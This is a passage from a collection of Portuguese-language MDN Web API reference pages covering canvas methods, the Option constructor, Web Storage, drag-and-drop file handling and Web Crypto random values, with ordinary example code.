padrão).\n\nAtributos de contexto WebGL:\n\n* **`alpha`**: Boleano que indica se o canvas contém um buffer alfa.\n* **`depth`**: Boleano que indica que o buffer do desenho tem um buffer de profundidade de pelo menos 16 bits.\n* **`stencil`**: Boleano que indica que o buffer do desenho tem um buffer de stencil de pelo menos 8 bits.\n* **`antialias`**: Boleano que indica se deve realizar o anti-aliasing ou não.\n* **`premultipliedAlpha`**: Boleano que indica se o compositor da página vai assumir que o buffer do desenho contendo cores com alfa pré-multiplicado.\n* **`preserveDrawingBuffer`**: Se o valor é `true` os buffers não serão limpos e preservarão seus valores até serem limpos ou subrescritos pelo autor.\n* **`failIfMajorPerformanceCaveat`**: Boleano que indica se um contexto será criado se a performance do sistema for baixa.\n\n### Return value\n\nUm `RenderingContext` que pode ser:\n\n* `CanvasRenderingContext2D` para `\"2d\"`,\n* `WebGLRenderingContext` (en-US) para `\"webgl\"` e `\"experimental-webgl\"`,\n* `WebGL2RenderingContext` (en-US) para `\"webgl2\"` ou\n* `ImageBitmapRenderingContext` (en-US) para `\"bitmaprenderer\"`.\n\nSe o *contextType* não bater com um possivel contexto de desenho, `null` é retornado.\n\nExamples\n--------\n\nDado este elemento `<canvas>`:\n\n\n```html\n<canvas id=\"canvas\" width=\"300\" height=\"300\"></canvas>\n```\n\n\nVocê pega um contexto `2d` do canvas com o código a seguir:\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nconsole.log(ctx); // CanvasRenderingContext2D { ... }\n```\n\n\nAgora você tem contexto de renderização 2d para o canvas e você pode desenhar nele.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-canvas-getcontext-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* A definição de interface, `HTMLCanvasElement` (en-US).\n* `OffscreenCanvas.getContext()` (en-US)\n* Contextos de renderização disponiveis: `CanvasRenderingContext2D`, `WebGLRenderingContext` (en-US) and `WebGL2RenderingContext` (en-US) and `ImageBitmapRenderingContext` (en-US)."}
{"title":"HTMLCanvasElement.height - APIs da Web","text":"HTMLCanvasElement.height\n========================\n\nA propriedade **`HTMLCanvasElement.height`** é um `inteiro` positivo que reflete o atributo `height` do elemento HTML `<canvas>` interpretado em pixels no CSS. Quando o atributo não é especificado, ou se for definido como um valor inválido, como um `inteiro` negativo, o valor padrão de `150` será usado.\n\nEssa é uma de duas propriedades, que controla o tamanho do canvas, sendo a outra `HTMLCanvasElement.width` (en-US).\n\nSintaxe\n-------\n```\n\nvar pxl = canvas.height;\ncanvas.height = pxl;\n```\n\nExemplos\n--------\n\nDado este elemento `<canvas>`:\n\n\n```html\n<canvas id=\"canvas\" width=\"300\" height=\"300\"></canvas>\n```\n\n\nVocê pode capturar a altura do canvas com o seguinte código:\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nconsole.log(canvas.height); // 300\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-canvas-height |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface a define, `HTMLCanvasElement` (en-US).\n* Outra propriedade para controlar o tamanho do canvas, `HTMLCanvasElement.width` (en-US)."}
{"title":"HTMLCanvasElement.toDataURL() - APIs da Web","text":"HTMLCanvasElement.toDataURL()\n=============================\n\nO método **`HTMLCanvasElement.toDataURL()`** retorna uma data URI (en-US), contendo uma representação da imagem no formato especificado pelo parâmetro `type` (por padrão, esse valor é PNG). A resolução da imagem retornada é de 96 dpi.\n\n* Se a altura ou largura do canvas for `0`, será retornada a string `\"data:,\"`.\n* Se o tipo solicitado não for `image/png`, mas o valor retornado começa com `data:image/png`, então o tipo da requisição não é suportado.\n* O Chrome também suporta o tipo `image/webp`.\nSintaxe\n-------\n```\n\ncanvas.toDataURL(type, encoderOptions);\n```\n\n### Parâmetros\n\n`type` Optional\n\nUma `DOMString` indicando o formato da imagem. Por padrão, o formato definido é `image/png`.\n\n`encoderOptions` Optional\n\n Um `Number` entre `0` e `1`, indicando a qualidade da imagem solicitada pelo tipo `image/jpeg` ou `image/webp`.\n Se esse argumento for outro valor que não de `0` a `1`, então o valor padrão (`0.92)` será usado. Outros valores serão ignorados.\n\n\n### Valor retornado\n\nUma `DOMString` contendo a data URI (en-US) solicitada.\n\nExemplos\n--------\n\nDado este elemento `<canvas>`:\n\n\n```html\n<canvas id=\"canvas\" width=\"5\" height=\"5\"></canvas>\n```\n\n\nVocê poderá capturar a data-URL do canvas com as seguintes linhas:\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar dataURL = canvas.toDataURL();\nconsole.log(dataURL);\n// \"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNby\n// blAAAADElEQVQImWNgoBMAAABpAAFEI8ARAAAAAElFTkSuQmCC\"\n```\n\n### Defindo a qualidade de imagens jpeg\n\n\n```js\nvar fullQuality = canvas.toDataURL(\"image/jpeg\", 1.0);\n// data:image/jpeg;base64,/9j/4AAQSkZJRgABAQ...9oADAMBAAIRAxEAPwD/AD/6AP/Z\"\nvar mediumQuality = canvas.toDataURL(\"image/jpeg\", 0.5);\nvar lowQuality = canvas.toDataURL(\"image/jpeg\", 0.1);\n```\n\n### Exemplo: Alterando imagens dinamicamente\n\nVocê poderá utilizar esta técnica em associação com os eventos do mouse para alterar dinamicamente uma imagem (escala de cinza vs. cor, neste exemplo):\n\n#### HTML\n\n\n```html\n<img class=\"grayscale\" src=\"myPicture.png\" alt=\"Description of my picture\" />\n```\n\n\n#### JavaScript\n\n\n```js\nwindow.addEventListener(\"load\", removeColors);\n\nfunction showColorImg() {\n  this.style.display = \"none\";\n  this.nextSibling.style.display = \"inline\";\n}\n\nfunction showGrayImg() {\n  this.previousSibling.style.display = \"inline\";\n  this.style.display = \"none\";\n}\n\nfunction removeColors() {\n  var aImages = document.getElementsByClassName(\"grayscale\"),\n    nImgsLen = aImages.length,\n    oCanvas = document.createElement(\"canvas\"),\n    oCtx = oCanvas.getContext(\"2d\");\n  for (\n    var nWidth, nHeight, oImgData, oGrayImg, nPixel, aPix, nPixLen, nImgId = 0;\n    nImgId < nImgsLen;\n    nImgId++\n  ) {\n    oColorImg = aImages[nImgId];\n    nWidth = oColorImg.offsetWidth;\n    nHeight = oColorImg.offsetHeight;\n    oCanvas.width = nWidth;\n    oCanvas.height = nHeight;\n    oCtx.drawImage(oColorImg, 0, 0);\n    oImgData = oCtx.getImageData(0, 0, nWidth, nHeight);\n    aPix = oImgData.data;\n    nPixLen = aPix.length;\n    for (nPixel = 0; nPixel < nPixLen; nPixel += 4) {\n      aPix[nPixel + 2] =\n        aPix[nPixel + 1] =\n        aPix[nPixel] =\n          (aPix[nPixel] + aPix[nPixel + 1] + aPix[nPixel + 2]) / 3;\n    }\n    oCtx.putImageData(oImgData, 0, 0);\n    oGrayImg = new Image();\n    oGrayImg.src = oCanvas.toDataURL();\n    oGrayImg.onmouseover = showColorImg;\n    oColorImg.onmouseout = showGrayImg;\n    oCtx.clearRect(0, 0, nWidth, nHeight);\n    oColorImg.style.display = \"none\";\n    oColorImg.parentNode.insertBefore(oGrayImg, oColorImg);\n  }\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-canvas-todataurl-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface que a define, `HTMLCanvasElement` (en-US).\n* Data URIs (en-US) na referência HTTP."}
{"title":"Option() - APIs da Web","text":"Option()\n========\n\nO construtor **`Option()`** cria novos `HTMLOptionElement` (en-US).\n\nSintaxe\n-------\n```\n\nvar optionElementReference = new Option(text, value, defaultSelected, selected);\n```\n\n### Parâmetros\n\n`text` Optional\n\nUm `DOMString` representa o conteúdo do elemento, o texto mostrado na tela. Se o texto não é especificado, o texto padrão \"\" (texto vazio) é utilizado.\n\n`value` Optional\n\nUm `DOMString` representa o valor do `HTMLOptionElement` (en-US), i.e. o valor do elemento `<option>`. Se não especificado, o texto é usado como valor, e.g. o elemento `<select>` tem seu valor associado quando o formulário é submetido ao servidor.\n\n`defaultSelected` Optional\n\nUm `Boolean` (en-US) é usado para adicionar o atributo **selected**, para que este `<option>` seja mostrado como selecionado no elemento `<select>` quando a página for carregada. Se não especificado, o estado padrão é não selecionado. Observe que o **defaultSelected = true** não define a opção como o valor selecionado do elemento `<select>`.\n\n`selected` Optional\n\nUm `Boolean` (en-US) é usado para colocar elemento `<option>` no estado de selecionado; como padrão do elemento tem o estado de não selecionado. Se omitido, mesmo que o parâmetro **defaultSelected** for verdadeiro, o elemento `<option>` não é selecionado.\n\nExemplos\n--------\n\n### Adicionando novas tags options\n\n\n```js\n/\\* assumindo que temos este HTML\n<select id='s'>\n\n</select>\n\\*/\n\nvar s = document.getElementById(\"s\");\nvar options = [Quatro, Cinco, Seis];\n\noptions.forEach(function (elemento, chave) {\n  s.appendChild(new Option(elemento, chave));\n});\n\n/\\* Resultado\n<select id='s'>\n <option value=\"0\">Quatro</option>\n <option value=\"1\">Cinco</option>\n <option value=\"2\">Seis</option>\n</select> \\*/\n```\n\n### Adicionando options com diferentes parâmetros\n\n\n```js\n/\\* assumindo que temos este HTML\n<select id=\"s\">\n <option>Primeiro</option>\n <option>Segundo</option>\n <option>Terceiro</option>\n</select>\n\\*/\n\nvar s = document.getElementById(\"s\");\nvar options = [\"zero\", \"um\", \"dois\"];\n\noptions.forEach(function (elemento, chave) {\n  if (elemento == \"zero\") {\n    s[s.options.length] = new Option(elemento, s.options.length, false, false);\n  }\n  if (elemento == \"um\") {\n    s[s.options.length] = new Option(elemento, s.options.length, true, false); // Adicionando atributo \"selected\"\n  }\n  if (elemento == \"dois\") {\n    s[s.options.length] = new Option(elemento, s.options.length, false, true); // Apenas irá selecionar a opção na visualização\n  }\n});\n\n/\\* Resultado\n<select id=\"s\">\n <option value=\"0\">zero</option>\n <option value=\"1\" selected=\"\">um</option>\n <option value=\"2\">dois</option> // O usuário verá esta opção selecionada\n</select>\n\\*/\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-option-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Usando a API Web Storage - APIs da Web","text":"Usando a API Web Storage\n========================\n\nA API Web Storage fornece mecanismos pelos quais os navegadores podem armazenar pares de chaves/valores de uma maneira muito mais segura e intuitiva do que usar cookies. Este artigo fornece um passo a passo sobre como usar essa tecnologia.\n\nConceitos básicos\n-----------------\n\nObjetos `Storage` são simples conjuntos contendo pares de chave/valor, de forma parecida com objetos, porém eles permanecem intactos mesmo após a página ser recarregada. As chaves e valores são sempre strings (note que chaves cujo nome seja um número inteiro serão automaticamente convertidas par strings, assim como acontece nos objetos). Você pode acessar esses valores como você faria com um objeto ou usando os métodos `Storage.getItem()` e `Storage.setItem()`. As três linhas seguintes definem o valor de `corDefinida` de maneiras diferentes, mas com o mesmo resultado:\n\n\n```js\nlocalStorage.corDefinida = \"#a4509b\";\nlocalStorage[\"corDefinida\"] = \"#a4509b\";\nlocalStorage.setItem(\"corDefinida\", \"#a4509b\");\n```\n\n\n**Nota:** Recomendamos que você utilize a API Web Storage (`setItem`, `getItem`, `removeItem`, `key`, `length`) para evitar as armadilhas associadas ao uso de objetos literais como mapas de chave-valor.\n\nOs dois mecanismos presentes na Web Storage são os seguintes:\n\n* O `sessionStorage` mantém uma área de armazenamento separada para cada origem diferente. Cada uma dessas áreas fica disponível durante a sessão da página (ou seja, enquanto a aba do navegador estiver aberta, incluindo recarregamentos e restaurações de páginas).\n* O `localStorage` faz a mesma coisa, mas os dados armazenados aqui continuam existindo mesmo depois do navegador ser fechado e reaberto.\n\nEsses mecanismos estão disponíveis através das propriedades `Window.sessionStorage` e `Window.localStorage` (de forma mais específica, em navegadores compatíveis, o objeto `Window` implementa os objetos `WindowLocalStorage` e `WindowSessionStorage`, aos quais as propriedades `localStorage` and `sessionStorage` pertencem, respectivamente) — invocar uma dessas propriedades irá criar uma instância do objeto `Storage`, através do qual itens de dados podem ser definidos, acessados e removidos. Cada origem recebe objetos Storage diferentes para `sessionStorage` and `localStorage` — eles operam e são controlados separadamente.\n\nPor exemplo, chamar `localStorage` pela primeira vez em um documento retornará um objeto `Storage`; chamar `sessionStorage` em um documento retornará um outro objeto `Storage`. Ambos podem ser manipulados da mesma maneira, mas de forma isolada.\n\nDetectando a disponibilidade do localStorage\n--------------------------------------------\n\nPara poder usarmos o localStorage, devemos antes verificar se ele é compatível e está disponível na sessão atual de navegação.\n\n### Testando a disponibilidade\n\nNavegadores compatíveis com localStorage terão uma propriedade no objeto `window` chamada `localStorage`. Contudo, por várias razões, apenas verificar se essa propriedade existe pode gerar erros. Se ela existir, ainda não haverá garantias de que o localStorage está de fato disponível para uso, já que vários navegadores fornecem opções que desativam o localStorage. Dessa forma, um navegador pode ser *compatível* com o localStorage, mas também pode não torná-lo *disponível* para os scripts usarem. One example of that is Safari, which in Private Browsing mode gives us an empty localStorage object with a quota of zero, effectively making it unusable. However, we might still get a legitimate QuotaExceededError, which only means that we've used up all available storage space, but storage is actually *available*. Our feature detect should take these scenarios into account.\n\nHere is a function that detects whether localStorage is both supported and available:\n\n\n```js\nfunction storageAvailable(type) {\n  try {\n    var storage = window[type],\n      x = \"\\_\\_storage\\_test\\_\\_\";\n    storage.setItem(x, x);\n    storage.removeItem(x);\n    return true;\n  } catch (e) {\n    return (\n      e instanceof DOMException &&\n      // everything except Firefox\n      (e.code === 22 ||\n        // Firefox\n        e.code === 1014 ||\n        // test name field too, because code might not be present\n        // everything except Firefox\n        e.name === \"QuotaExceededError\" ||\n        // Firefox\n        e.name === \"NS\\_ERROR\\_DOM\\_QUOTA\\_REACHED\") &&\n      // acknowledge QuotaExceededError only if there's something already stored\n      storage.length !== 0\n    );\n  }\n}\n```\n\n\nAnd here is how you would use it:\n\n\n```js\nif (storageAvailable(\"localStorage\")) {\n  // Yippee! We can use localStorage awesomeness\n} else {\n  // Too bad, no localStorage for us\n}\n```\n\n\nYou can test for sessionStorage instead by calling `storageAvailable('sessionStorage')`.\n\nSee here for a brief history of feature-detecting localStorage.\n\nExample\n-------\n\nTo illustrate some typical web storage usage, we have created a simple example, imaginatively called **Web Storage Demo**. The landing page provides controls that can be used to customize the color, font, and decorative image:\n\n![](/pt-BR/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API/landing.png)When you choose different options, the page is instantly updated; in addition, your choices are stored in `localStorage`, so that when you leave the page and load it again, later on, your choices are remembered.\n\nWe have also provided an event output page — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as a `StorageEvent` (en-US) is fired.\n\n![](/pt-BR/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API/event-output.png)\n\n**Nota:** As well as viewing the example pages live using the above links, you can also check out the source code.\n\n### Testing whether your storage has been populated\n\nTo start with on main.js, we will test whether the storage object has already been populated (i.e., the page was previously accessed):\n\n\n```js\nif (!localStorage.getItem(\"bgcolor\")) {\n  populateStorage();\n} else {\n  setStyles();\n}\n```\n\n\nThe `Storage.getItem()` method is used to get a data item from storage; in this case, we are testing to see whether the `bgcolor` item exists; if not, we run `populateStorage()` to add the existing customization values to the storage. If there are already values there, we run `setStyles()` to update the page styling with the stored values.\n\n**Note**: You could also use `Storage.length` to test whether the storage object is empty or not.\n\n### Getting values from storage\n\nAs noted above, values can be retrieved from storage using `Storage.getItem()`. This takes the key of the data item as an argument, and returns the data value. For example:\n\n\n```js\nfunction setStyles() {\n  var currentColor = localStorage.getItem(\"bgcolor\");\n  var currentFont = localStorage.getItem(\"font\");\n  var currentImage = localStorage.getItem(\"image\");\n\n  document.getElementById(\"bgcolor\").value = currentColor;\n  document.getElementById(\"font\").value = currentFont;\n  document.getElementById(\"image\").value = currentImage;\n\n  htmlElem.style.backgroundColor = \"#\" + currentColor;\n  pElem.style.fontFamily = currentFont;\n  imgElem.setAttribute(\"src\", currentImage);\n}\n```\n\n\nHere, the first three lines grab the values from local storage. Next, we set the values displayed in the form elements to those values, so that they keep in sync when you reload the page. Finally, we update the styles/decorative image on the page, so your customization options come up again on reload.\n\n### Setting values in storage\n\n`Storage.setItem()` is used both to create new data items, and (if the data item already exists) update existing values. This takes two arguments — the key of the data item to create/modify, and the value to store in it.\n\n\n```js\nfunction populateStorage() {\n  localStorage.setItem(\"bgcolor\", document.getElementById(\"bgcolor\").value);\n  localStorage.setItem(\"font\", document.getElementById(\"font\").value);\n  localStorage.setItem(\"image\", document.getElementById(\"image\").value);\n\n  setStyles();\n}\n```\n\n\nThe `populateStorage()` function sets three items in local storage — the background color, font, and image path. It then runs the `setStyles()` function to update the page styles, etc.\n\nWe've also included an `onchange` handler on each form element so that the data and styling are updated whenever a form value is changed:\n\n\n```js\nbgcolorForm.onchange = populateStorage;\nfontForm.onchange = populateStorage;\nimageForm.onchange = populateStorage;\n```\n\n### Responding to storage changes with the StorageEvent\n\nThe `StorageEvent` (en-US) is fired whenever a change is made to the `Storage` object (note that this event is not fired for sessionStorage changes). This won't work on the same page that is making the changes — it is really a way for other pages on the domain using the storage to sync any changes that are made. Pages on other domains can't access the same storage objects.\n\nOn the events page (see events.js) the only JavaScript is as follows:\n\n\n```js\nwindow.addEventListener(\"storage\", function (e) {\n  document.querySelector(\".my-key\").textContent = e.key;\n  document.querySelector(\".my-old\").textContent = e.oldValue;\n  document.querySelector(\".my-new\").textContent = e.newValue;\n  document.querySelector(\".my-url\").textContent = e.url;\n  document.querySelector(\".my-storage\").textContent = e.storageArea;\n});\n```\n\n\nHere we add an event listener to the `window` object that fires when the `Storage` object associated with the current origin is changed. As you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the new value after that change, the URL of the document that changed the storage, and the storage object itself.\n\n### Deleting data records\n\nWeb Storage also provides a couple of simple methods to remove data. We don't use these in our demo, but they are very simple to add to your project:\n\n* `Storage.removeItem()` takes a single argument — the key of the data item you want to remove — and removes it from the storage object for that domain.\n* `Storage.clear()` takes no arguments, and simply empties the entire storage object for that domain.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-localstorage-dev |\n| HTML Standard # dom-sessionstorage-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### api.Window.localStorage\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.Window.sessionStorage\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Web Storage API landing page"}
{"title":"Attr.localName - APIs da Web","text":"Attr.localName\n==============\n\nA propriedade read-only **`Attr.localName`** retorna a parte do local de um nome qualificado de elemento.\n\n**Nota:** Antes do DOM4 essa API foi definida dentro da interface `Node`.\n\nSintaxe\n-------\n```\n\nname = attribute.localName\n```\n\n### Valor de retorno\n\nUma `DOMString` representando a parte local do nome qualificado do atributo.\n\nExemplo\n-------\n\nO seguinte exemplo mostra \"id\" em um diálogo de alerta.\n\n### Conteúdo HTML\n\n\n```html\n<button id=\"example\">Click me</button>\n```\n\n### Conteúdo JavaScript\n\n\n```js\nconst element = document.querySelector(\"#example\");\nelement.addEventListener(\"click\", function () {\n  const attribute = element.attributes[0];\n  alert(attribute.localName);\n});\n```\n\nNotas\n-----\n\nO nome local de um atributo é a parte do nome qualificado do atributo the vem depois da vírgula. Nome qualificados são tipicamente utilizados em XML como parte do namespace(s) de um documento XML em particular.\n\n**Nota:** No Gecko 1.9.2 e anteriores, a propriedade retorna uma versão em letras maiúsculas do nome local para o atributo DOM do HTML (oposto a atributos XHTML no DOM do XML). Em versões posteriores, em conformidade com o HTML5, a propriedade retorna no caso de armazenamento interno do DOM, que é em letras minúsculas para ambos os atributos HTML no DOM do HTML e XHTML no DOM do XML.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # dom-attr-localname |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Attr.namespaceURI` (en-US)\n* `Attr.prefix` (en-US)\n* `Element.localName` (en-US)\n* `Node.localName` (en-US)"}
{"title":"abort - APIs da Web","text":"abort\n=====\n\nO evento **`abort`** é disparado quando o carregamento de um recurso foi interrompido.\n\nInformações Gerais\n------------------\n\nEspecificação\n\nDOM L3\n\nInterface\n\n`UIEvent` (en-US) se gerado a partir da interface do usuário, caso contrário será `Event`.\n\nBubbles\n\nNão\n\nCancelável\n\nNão\n\nAlvo\n`Element`\nAção Padrão\n\nNenhuma\n\nPropriedades\n------------\n\n| Propriedade | Tipo | Descrição |\n| --- | --- | --- |\n| `target` Somente leitura  | ``EventTarget`` | O evento alvo (O mais elevado da árvore DOM). |\n| `type` Somente leitura  | ``DOMString`` | O tipo de evento. |\n| `bubbles` Somente leitura  | ``Boolean` (en-US)` | O evento é normalmente *bubble*? |\n| `cancelable` Somente leitura  | ``Boolean` (en-US)` | É possível cancelar o evento? |\n| `view` Somente leitura  | ``WindowProxy`` | ``document.defaultView`` (`window` do documento) |\n| `detail` Somente leitura  | `long` (`float`) | 0. |"}
{"title":"SVGAElement.target - APIs da Web","text":"SVGAElement.target\n==================\n\nO **`SVGAElement.target`** propriedade somente ler de `SVGAElement` retorna um objeto `SVGAnimatedString` (en-US) que especifica a porção de um alvo sendo ele \"window\", \"frame\" ou \"pane\" no qual um documento será aberto quando o link for acionado.\n\nEsta propriedade é usada quando existem dois ou mais possiveis alvos(destinos) para o documento, por exemplo, quando o documento pai é um arquivo .html ou .xhtml com varias telas (multi-frame).\n\nSintaxe\n-------\n```\n\nmyLink.target = 'value';\n```\n\n### Valor\n\nUm `SVGAnimatedString` (en-US) indica o destino final do recurso que abre o documento assim que o link é acionado.\n\nValores para `target` você pode ver aqui.\n\nExemplo\n-------\n\nO código é foi retirado de \"SVGAElement example code\"\n\n\n```js\n...\nvar linkRef = document.querySelector('a');\nlinkRef.target ='\\_blank';\n...\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Scalable Vector Graphics (SVG) 2 # \\_\\_svg\\_\\_SVGAElement\\_\\_target |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `target (en-US)`"}
{"title":"Arrastar e soltar arquivos - APIs da Web","text":"Arrastar e soltar arquivos\n==========================\n\nAs interfaces HTML Drag and Drop permitem que os aplicativos da Web arrastem e soltem arquivos em uma página da Web. Este documento descreve como um aplicativo pode aceitar um ou mais arquivos que são arrastados do *gerenciador de arquivos da plataforma subjacente* e soltado s em uma página da Web.\n\nOs principais passos para o drag and drop é definir a *drop zone* (ou seja definir um elemento para a queda dos arquivos) e definir event handlers para os eventos `drop (en-US)` e `dragover (en-US)` . Essas etapas são descritas abaixo, incluindo exemplos de trechos de código. O codigo fonte esta disponivel em MDN's drag-and-drop repository (pull requests e/ou issues são bem-vindas).\n\n**Nota:** Nota: `HTML drag and drop`Define duas APIs diferentes para suportar arrastar e soltar arquivos. Uma API é a interface `DataTransfer` e a segunda API é a interface `DataTransferItem` (en-US) e `DataTransferItemList` (en-US). Este exemplo ilustra o uso de ambas as APIs (e não usa nehuma interface específica do Gecko).\n\nDefinindo a drop *zone*\n-----------------------\n\nO elemento de destino do evento `drop (en-US)` precisa de um event handler global `ondrop` (en-US) O seguinte trecho de código mostra como isso é feito com um elemento: `<div>`\n\n\n```html\n<div id=\"drop\\_zone\" ondrop=\"dropHandler(event);\">\n  <p>Drag one or more files to this Drop Zone ...</p>\n</div>\n```\n\n\nNormalmente, um aplicativo inclui um event handler `dragover (en-US)` no elemento de destino do drop e esse manipulador desativará o comportamento de arraste padrão do navegador. Para adicionar esse handler, você precisa incluir um event handler global `ondragover` (en-US):\n\n\n```html\n<div\n id=\"drop\\_zone\"\n ondrop=\"dropHandler(event);\"\n ondragover=\"dragOverHandler(event);\">\n  <p>Drag one or more files to this Drop Zone ...</p>\n</div>\n```\n\n\nPor fim, um aplicativo pode querer estilizar o elemento da drop zone para indicar visualmente que o elemento é uma drop zone. Neste exemplo, o elemento da drop zone usa o seguinte estilo:\n\n\n```css\n#drop\\_zone {\n  border: 5px solid blue;\n  width: 200px;\n  height: 100px;\n}\n```\n\n\n**Nota:** Nota: Observe que os eventos `dragstart` e `dragend` não são acionados ao arrastar um arquivo para o navegador do OS.\n\nProcesso de drop\n----------------\n\nO evento `drop (en-US)` é acionado quando o usuário solta o(s) arquivo(s) no drop handler, se o navegador suportar a interface `DataTransferItemList` (en-US) o metodo `getAsFile()` (en-US) será usado para acessar cada arquivo; caso contrário, a interface `DataTransfer` usara a propriedade `files` (en-US) para acessar cada arquivo.\n\nEste exemplo mostra como escrever o nome de cada arquivo arrastado, no console. Em um aplicativo real, um aplicativo pode querer processar um arquivo usando o `File API`.\n\nObserve que neste exemplo, Qualquer item de arrasto que não seja um arquivo é ignorado.\n\n\n```js\nfunction dropHandler(ev) {\n  console.log(\"File(s) dropped\");\n\n  // Impedir o comportamento padrão (impedir que o arquivo seja aberto)\n  ev.preventDefault();\n\n  if (ev.dataTransfer.items) {\n    // Use a interface DataTransferItemList para acessar o (s) arquivo (s)\n    for (var i = 0; i < ev.dataTransfer.items.length; i++) {\n      // Se os itens soltos não forem arquivos, rejeite-os\n      if (ev.dataTransfer.items[i].kind === \"file\") {\n        var file = ev.dataTransfer.items[i].getAsFile();\n        console.log(\"... file[\" + i + \"].name = \" + file.name);\n      }\n    }\n  } else {\n    // Use a interface DataTransfer para acessar o (s) arquivo (s)\n    for (var i = 0; i < ev.dataTransfer.files.length; i++) {\n      console.log(\n        \"... file[\" + i + \"].name = \" + ev.dataTransfer.files[i].name,\n      );\n    }\n  }\n}\n```\n\nImpedir o evento de arrastar padrão do navegador\n------------------------------------------------\n\nO seguinte event handler `dragover (en-US)` chama `preventDefault()` para desativar o manipulador padrão de arrastar e soltar do navegador.\n\n\n```js\nfunction dragOverHandler(ev) {\n  console.log(\"File(s) in drop zone\");\n\n  // Impedir o comportamento padrão (impedir que o arquivo seja aberto)\n  ev.preventDefault();\n}\n```\n\nVeja também\n-----------\n\n* HTML Drag and Drop API\n* Drag Operations (en-US)\n* HTML5 Living Standard: Drag and Drop"}
{"title":"RandomSource.getRandomValues() - APIs da Web","text":"RandomSource.getRandomValues()\n==============================\n\nO método **`RandomSource.getRandomValues()`** permite que você obtenha valores criptográficos randômicos. O array passado como parametro é preenchido com números randômicos (randômicos no sentido criptográfico).\n\nPara garantir performance suficiente, as implementações não estão usando um gerador de número randômico de verdade, mas estão usando um gerador de número pseudo-randômico alimentado com um valor com entropia suficiente. Os PRNG (pseudo-random number generator - gerador de número pseudo-randômico) usados diferem de uma implementação para a outra, mas são adequadas para usos criptográficos. As implementações precisam ter um valor de alimentação com entropia suficiente, como uma fonte de entropia a nível de sistema.\n\nSintaxe\n-------\n```\n\ncryptoObj.getRandomValues(typedArray);\n```\n\n### Parâmetros\n\n*typedArray*\n\nÉ uma `TypedArray` (en-US) de números inteiros, que pode ser `Int8Array` (en-US), `Uint8Array` (en-US), `Uint16Array` (en-US), `Int32Array` (en-US), ou `Uint32Array` (en-US). Todos os elementos no array serão sobrescristos com números randômicos.\n\n### Exceções\n\n* Um `QuotaExceededError` `DOMException` (en-US) é enviado se o tamanho da requisição for maior que 65536 bytes.\nExemplo\n-------\n\n\n```js\n/\\* assumindo que window.crypto.getRandomValues está disponível \\*/\n\nvar array = new Uint32Array(10);\nwindow.crypto.getRandomValues(array);\n\nconsole.log(\"Seus números da sorte são:\");\nfor (var i = 0; i < array.length; i++) {\n  console.log(array[i]);\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Cryptography API # Crypto-method-getRandomValues |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Window.crypto` to get a `Crypto` object.\n* `Math.random`, a non-cryptographic source of random numbers."}
{"title":"Crypto.subtle - APIs da Web","text":"Crypto.subtle\n=============\n\nA prorpiedade **`Crypto.subtle`** de apenas leitura retorna como objeto `SubtleCrypto` permitindo exercer operações de criptografia.\n\nSintaxe\n-------\n```\n\nvar crypto = crypto.subtle;\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Cryptography API # Crypto-attribute-subtle |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Crypto`.\n* `SubtleCrypto`.\n* Compatibility test page.\n* Shim for IE11 and Safari."}
